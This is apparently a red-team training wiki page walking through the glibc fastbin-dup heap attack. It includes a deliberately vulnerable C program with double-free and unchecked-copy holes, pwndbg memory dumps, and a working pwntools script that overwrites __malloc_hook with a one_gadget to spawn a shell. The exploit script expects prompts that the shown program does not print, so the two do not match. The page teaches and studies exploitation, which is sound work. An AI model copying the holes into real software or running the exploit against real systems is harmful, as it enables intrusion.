> For the complete documentation index, see [llms.txt](https://mohamed-fakroud.gitbook.io/red-teamings-dojo/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mohamed-fakroud.gitbook.io/red-teamings-dojo/binary-exploitation/heap-fastbin-dup.md).

# Heap - Fastbin Dup

## Introduction

Fastbin duplication is a classic heap exploitation technique that leverages from the way glibc's malloc implementation manages small memory chunks. This post demonstrates the attack step-by-step using pwndbg to visualize heap internals.

### Vulnerable Code

```cpp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
 
// compile with
// gcc -no-pie -Wl,-z,norelro -z now -ggdb test.c -o test
// Get this code from https://www.bordergate.co.uk/heap-fastbin-exploitation/
struct test {
   char test[30];
} tests;
 
struct user {
   char  username[16];
   char  target[16];
} users;
 
int main () {
                        
strcpy( users.target, "TARGET");
 
char *m_array [8];
 
m_array[0] = (char *)0x0;
m_array[1] = (char *)0x0;
m_array[2] = (char *)0x0;
m_array[3] = (char *)0x0;
m_array[4] = (char *)0x0;
m_array[5] = (char *)0x0;
m_array[6] = (char *)0x0;
m_array[7] = (char *)0x0;
 
setvbuf(stdout,(char *)0x0,2,0);
 
printf("Enter username: ");
 
read(STDIN_FILENO, users.username, 0x10);
 
  int i;
  int ChunkNumber = 0;
  for (i = 1; i < 20; ++i)
  {
      int selection;
      printf( "Target : %s\n", users.target);
      printf("Next chunk number: %d/7 \n", ChunkNumber);
 
     
      printf("1) malloc\n");
      printf("2) free\n");
      printf("3) quit\n");
      printf(">");
      scanf("%d", &selection);
 
      fflush (stdin);
  switch(selection){
 
    int mallocSize;
    char inputData[256];
     
    case 1:
      printf ("malloc size: \n");
      scanf("%d", &mallocSize);
 
      printf ("input data: \n");
      scanf("%s", inputData);
 
      // Allocate heap memory chunk. Size based on previous user input
      char *heapChunk;
      m_array[ChunkNumber] = (char *) malloc(mallocSize);
      strcpy(m_array[ChunkNumber],inputData);
 
      printf("chunk allocated: %d/7 \n", ChunkNumber);
 
      ChunkNumber++;
      break;
    case 2:
      printf("Select chunk to free: ");
      scanf("%d", &selection);
      printf("Freeing chunk: %d\n", selection);
      free(m_array[selection]);
      break;
    case 3:
        exit(0);
      break;
    default:
      printf("Invalid selection\n");
      break;
  }
 
  }
    
  return(0);
}
```

#### Target Code Analysis

```cpp
struct user {
   char  username[16];
   char  target[16];
} users;
```

Our target is to overwrite `users.target`  (initially "Target") with arbitrary data, ultimately achieving code execution.

<mark style="color:red;">**Vulnerability**</mark>&#x20;

The code has several critical vulnerabilities:

1. No bounds checking on malloc size.
2. Use-after-free-chunks can be freed but pointers remain in `m_array`
3. Double-free - same chunk can be freed multiple times.
4. Heap overflow - `strcpy` has no size validation.

### Understanding Fastbins

#### What are Fastbins?

Fastbins are singly-linked lists that cache small freed chunks (16-80 bytes on x64) for quick reallocation. Key characteristics:

* **LIFO structure** (Last In, First Out)
* **No coalescing** with adjacent chunks
* **Fast allocation/deallocation**
* **Single-linked list** using fd (forward) pointer

#### Fastbin Structure

```
Fastbin[0]: HEAD -> chunk1 -> chunk2 -> NULL
                    [fd ptr]   [fd ptr]
```

### Exploitation Steps

#### Step 1: Initial Setup

Start the program and enter username:

<figure><img src="/files/2ODwfVSdYAlV7B11MUJv" alt=""><figcaption></figcaption></figure>

#### Step 2: Allocate Chunks in Fastbin Range

Allocate three chunks of size 0x18 bytes (fastbin size):

<figure><img src="/files/WsG5h0ElwbBrHhKBaT5X" alt=""><figcaption></figcaption></figure>

**pwndbg inspection:**

<figure><img src="/files/Ftq4JT0AvMgIRF7yKtmO" alt=""><figcaption></figcaption></figure>

#### Step 3: Create Fastbin Dup

Free chunk 0, then chunk 1, then chunk 0 again:

<figure><img src="/files/gAPnfQlbPUwcx7emxTx0" alt=""><figcaption></figcaption></figure>

**pwndbg after double-free:**

```cpp
pwndbg> fastbins 
fastbins
0x20: 0x603000 —▸ 0x603020 ◂— 0x603000 (circular!)
      ▲ Chunk 0   ▲ Chunk 1   ▲ Chunk 0 AGAIN
       (HEAD)
pwndbg> x/4xg 0x603000
0x603000:	0x0000000000000000	0x0000000000000021 ← fd pointer
0x603010:	0x0000000000603020	0x4141414141414141
pwndbg> x/4xg 0x603020
0x603020:	0x4141414141414141	0x0000000000000021 ← fd points back
0x603030:	0x0000000000603000	0x4242424242424242

```

#### Step 4: Arbitrary Write Setup

Now we have chunk 0 appearing twice in the fastbin. Next allocations will return:

1. First malloc → Chunk 0
2. Second malloc → Chunk 1
3. Third malloc → Chunk 0 again!

Allocate chunk 0 and overwrite its fd pointer with target address:

<figure><img src="/files/Z2dFS6F9OgpWIfFRj2zG" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Vhwfp1BJ8g1k8rsjOkP0" alt=""><figcaption></figcaption></figure>

#### Step 5: Overwrite Target

<figure><img src="/files/IUp3nhsX7LnTDsrw3e8Z" alt=""><figcaption></figcaption></figure>

**pwndbg verification:**

<figure><img src="/files/ZJgn844P8fokuDWANqQb" alt=""><figcaption></figcaption></figure>

### Code Execution

Final exploit script:

```python
#!/usr/bin/python3
from pwn import *

elf = context.binary = ELF("fastbin_dup")
libc = elf.libc

gs = '''
continue
'''
def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)

# Index of allocated chunks.
index = 0

# Select the "malloc" option; send size & data.
# Returns chunk index.
def malloc(size, data):
    global index
    io.send(b"1")  # Send '1' as byte
    io.sendafter("size: ", f"{size}".encode())  # Convert size to bytes
    io.sendafter("data: ", data)  # Assuming data is already bytes (if not, convert it)
    io.recvuntil("> ".encode())  # Convert '>' to bytes
    index += 1
    return index - 1

# Select the "free" option; send index.
def free(index):
    io.send(b"2")  # Send '2' as byte
    io.sendafter("index: ", f"{index}".encode())  # Convert index to bytes
    io.recvuntil("> ".encode())  # Convert '>' to bytes

io = start()

# This binary leaks the address of puts(), use it to resolve the libc load address.
io.recvuntil("puts() @ ".encode())  # Convert string to bytes
libc.address = int(io.recvline(), 16) - libc.sym.puts
io.timeout = 0.1

# =============================================================================

# Set the username field.
username = "t3nb3w"
io.sendafter("username: ", username)
io.recvuntil("> ".encode())  # Convert '>' to bytes

# Request two 0x30-sized chunks and fill them with data.
chunk_A = malloc(0x68, b"A" * 0x68)  # Use bytes for the data
chunk_B = malloc(0x68, b"B" * 0x68)  # Use bytes for the data

# Free the first chunk, then the second.
free(chunk_A)
free(chunk_B)
free(chunk_A)

dup = malloc(0x68, p64(libc.sym.__malloc_hook - 35)) # Found through find_fake_fast
malloc(0x68, b"Y" * 0x68)  # Use bytes for the data
malloc(0x68, b"T" * 0x68)  # Use bytes for the data
malloc(0x68, b"X" * 0x13 + p64(libc.address + 0xe1fa1))  # found via ROP 
malloc(1, b"")  # Trigger execve()

# =============================================================================

io.interactive()

```

This exploit performs a **fastbin dup attack** to overwrite `__malloc_hook` with a one\_gadget address, giving you a shell when malloc is called.

#### Detailed Breakdown

#### 1. **Chunk Size: `0x68` (104 bytes)**

```python
chunk_A = malloc(0x68, b"A" * 0x68)
```

**Why 0x68?**

* User requests 0x68 (104) bytes
* Malloc adds 0x10 (16) bytes of metadata (prev\_size + size)
* Total chunk size = 0x68 + 0x10 = **0x78** (120 bytes)
* This falls into the **0x70 fastbin** (fastbin sizes: 0x20, 0x30, 0x40, 0x50, 0x60, 0x70, 0x80)

We chose this size strategically to:

1. Stay in fastbin range (faster, less security checks)
2. Match a fake chunk size near `__malloc_hook`

#### 2. **Offset: `-35` bytes**

<figure><img src="/files/PyDW1qU1k5Vdbp2Slp5V" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/YKeOhudxezgcBT7rOPXA" alt=""><figcaption></figcaption></figure>

Finding the offset:

The value `0x7f` (127 in decimal) appears naturally in libc memory, and it matches fastbin size **0x70**!

**Calculation:**

* `__malloc_hook` is at offset `+0x10` from chunk start (after metadata)
* We need to point to where size field (`0x7f`) appears
* If `0x7f` is at `__malloc_hook - 0x23` (35 bytes before)
* Then our fake chunk starts at `__malloc_hook - 0x23 - 0x10` = `__malloc_hook - 0x33`

&#x20;But since we target the fd pointer location (which is at `chunk + 0x10`), we use `__malloc_hook - 35`

#### 3. **Payload Size: `0x13` (19 bytes)**

````python
malloc(0x68, b"X" * 0x13 + p64(libc.address + 0xe1fa1))
```

**Why 19 bytes of padding?**

When we allocate at our fake chunk:
```
Fake chunk layout:
[offset 0x00] prev_size (8 bytes)
[offset 0x08] size: 0x7f (8 bytes)
[offset 0x10] user data starts...
[offset 0x13] more data...
...
[offset 0x23] __malloc_hook location ← We want to write here!
````

**Math:**

* `__malloc_hook` is at offset `0x23` (35 bytes) from fake chunk start
* User data starts at offset `0x10` (16 bytes)
* Distance = `0x23 - 0x10 = 0x13` (19 bytes)
* So we need 19 bytes of junk, then our one\_gadget address

#### 4. **One\_gadget: `0xe1fa1`**

**What is this?**

This is a **one\_gadget RCE** - a single gadget in libc that executes `execve("/bin/sh", NULL, NULL)` when called.

**How to find it:**

<figure><img src="/files/YJirEgHt0GQfZf2VqBk9" alt=""><figcaption></figcaption></figure>

The exploit uses `0xe1fa1` because it has constraints that are satisfied when malloc is called.

And with this we get a shell:

<figure><img src="/files/ebFkRBwQ4e4GIxwJf4DE" alt=""><figcaption></figcaption></figure>

#### pwndbg Commands Cheat Sheet

```c
# Heap overview
heap chunks               # List all heap chunks
heap bins                 # Show all bins (fast, small, large, unsorted)
fastbins                  # Show fastbin state specifically

# Detailed inspection
x/20gx ADDRESS           # Examine memory (8-byte words)
vis_heap_chunks          # Visual heap representation

# Finding targets
got                      # Show GOT entries
vmmap                    # Memory mapping
search -t string "TARGET" # Search for strings

# Breakpoints for analysis
break *main+XXX          # Break at specific offset
watch *(void**)ADDRESS   # Watch memory changes
```

### Conclusion

Fastbin dup exploitation demonstrates the importance of proper memory management. While modern mitigations make these attacks harder, understanding the fundamentals helps in both offensive security and defensive programming.

## References

{% embed url="<https://www.bordergate.co.uk/heap-fastbin-exploitation/>" %}

{% embed url="<https://www.udemy.com/course/linux-heap-exploitation-part-1/>" %}
